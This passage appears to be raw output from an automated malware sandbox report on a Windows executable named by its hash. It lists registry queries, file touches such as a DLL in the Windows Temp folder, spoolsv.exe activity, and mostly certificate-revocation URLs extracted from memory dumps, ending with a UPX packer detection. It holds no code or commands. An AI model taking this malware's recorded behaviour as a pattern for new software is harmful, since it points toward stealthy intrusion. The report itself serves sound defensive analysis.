(Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCSERVER32"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}"; Key: "APPID"; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WBEM\CIMOM"; Key: "LOGGING DIRECTORY"; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WBEM\CIMOM"; Key: "LOGGING"; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WBEM\CIMOM"; Key: "LOG FILE MAX SIZE"; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WBEM\SCRIPTING"; Key: "DEFAULT IMPERSONATION LEVEL"; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}"; Key: "ACTIVATEONHOSTFLAGS"; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: ""; Value: "") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "")54:T597,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to touch file "C:\Windows\System32\wow64log.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to touch file "C:\WINDOWS\system32\wow64log.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to touch file "C:\WINDOWS\SysWOW64\apphelp.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to touch file "C:\4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to touch file "C:\windows\temp\VxSSL32.dll"55:T658,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\Windows\System32\wow64log.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\FLTLIB.DLL" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\MSVCP140.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\Windows\SysWOW64\rpcss.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\rpcss.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\Windows\SysWOW64\wbem\wbemcomn.dll" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\wbem\wbemcomn.dll" "spoolsv.exe" trying to access non-existent file "C:\Windows\System32\wow64log.dll" "spoolsv.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "spoolsv.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\pip\FLTLIB.DLL"56:T67c,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\mswsock.dll.mui" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\wshqos.dll.mui" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\e23e95db-b2bd-f157-ae6a-2004779cdbb2" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "\Device\RasAcd" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\KERNELBASE.dll.mui" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\Program Files (x86)(x86)" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\pip\e23e95db-b2bd-f157-ae6a-2004779cdbb2" "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\tzres.dll.mui" "spoolsv.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\mswsock.dll.mui" "spoolsv.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\wshqos.dll.mui" "spoolsv.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}"57:T6625,Found URL "http://crl.securetrust.com/stca.crlstarfield" - Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlu/" - Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl(c)" - Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl(c)" - Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0&" - Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crlstarfield" - Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlu/" - Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl(c)" - Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl(c)" - Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp") Found URL "http://www.chambersign.org1" - Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crlstarfield" - Source: "00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlu/" - Source: "00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl(c)" - Source: "00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl(c)" - Source: "00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found URL "http://www.chambersign.org1" - Source: "00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00004032.00000001.191512.03294000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00004032.00000001.191512.03294000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00004032.00000001.191512.03294000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00004032.00000001.191512.03294000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e;" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc460(5mscotxa4systsystsystsa" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%ytcasmtcasmsystem.directoryservices.dll" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm(krv(krv@sg" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?f*9v2-re)" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0jp;" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0dyd!0[p%0" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0vd!7i6u4$i<-o_-!dq" - Source: "00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0$%'%" - Source: "00000000-00004032.00000001.191512.08CF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0a08." - Source: "00000000-00004032.00000001.191512.08D27000.00000004.mdmp") Found URL "http://www.microsoft.com0/d\wq83" - Source: "00000000-00004032.00000001.191512.08D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004032.00000001.191512.08D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0::vm4" - Source: "00000000-00004032.00000001.191512.08D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00004032.00000001.191512.08D90000.00000004.mdmp") Found URL "http://www.microsoft.com030u3goku" - Source: "00000000-00004032.00000001.191512.08D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0ahq.a)d$g5" - Source: "00000000-00004032.00000001.191512.08D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" - Source: "00000000-00004032.00000001.191512.08D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0:'l$zmsnc" - Source: "00000000-00004032.00000001.191512.08D90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0n%$hvskli0l0jgoku" - Source: "00000000-00004032.00000001.191512.08D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0!2eshttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0riaj+[gejll8om0vk%xaokpy/pxh3x+wjv5qokpy/washington1redmond1microsoft" - Source: "00000000-00004032.00000001.191512.08DDE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0riaj+[gejll8om0vk%xaokpy/washington1redmond1microsoft" - Source: "00000000-00004032.00000001.191512.08DDE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0riaj+[gejll8om0vk%xaokpy/washredmond1microsoft" - Source: "00000000-00004032.00000001.191512.08DDE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-2riaj+[gejll8om0vk%xaokpy/washington1redmond1microsoft" - Source: "00000000-00004032.00000001.191512.08DDE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0riaj+[gejll8om0vk%xaokpy/plfxaw4y1qb0+washington1redmond1microsoft" - Source: "00000000-00004032.00000001.191512.08DDE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0riaj+[gejll8om0vk%xaokpy/edvalue>tuesday" - Source: "00000000-00004032.00000001.191512.08DDE000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0a08." - Source: "00000000-00004032.00000001.191512.08DEC000.00000004.mdmp") Found URL "https://dns.google/resolve?name=1.1.1.1https://dns.google/resolve?name=google.comhttps://dns.google/resolve?name=dns.googlehttps://1.1.1.1/dns-query?name=1.1.1.1l-\$ccommonprogramfiles=c:\program" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0ke,ke,qm:v%)ll7]s]l7" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlu/" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl(c)" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl(c)" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0&" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crlstarfield" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://www.chambersign.org1" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://policy.camerfirma.com0+,t" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://policy.camerfirma.com0i$y'o)yrez3__68vr1[g-hlp]iskc" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crltls13" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "https://cloudflare-dns.com/dns-query?name=dns.google&type=atls13" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crltls:" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://ye1.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectsalt" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectgeotrust" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crl0addtrust" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl0" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crl0okk,%$rdtpmarizona1scottsdale1%0" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://ye1.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0bamm8dbn=5k-" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn0<0http://cps.chambersign.org/cps/chambersroot.html0?w" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0990709183120z190709184036z0salt" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0;09071http://crl.usertrust.com/utn-userfirst-object.crl0)k%%-qcn>k't" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?srwub<:4;'@j&;j,qxb" - Source: "00000000-00008464.00000000.189814.04000000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0, www.upx.sourceforge.net\"\n \"spoolsv.exe\" was detected as \"UPX -> www.upx.sourceforge.net\"","origin":"Static 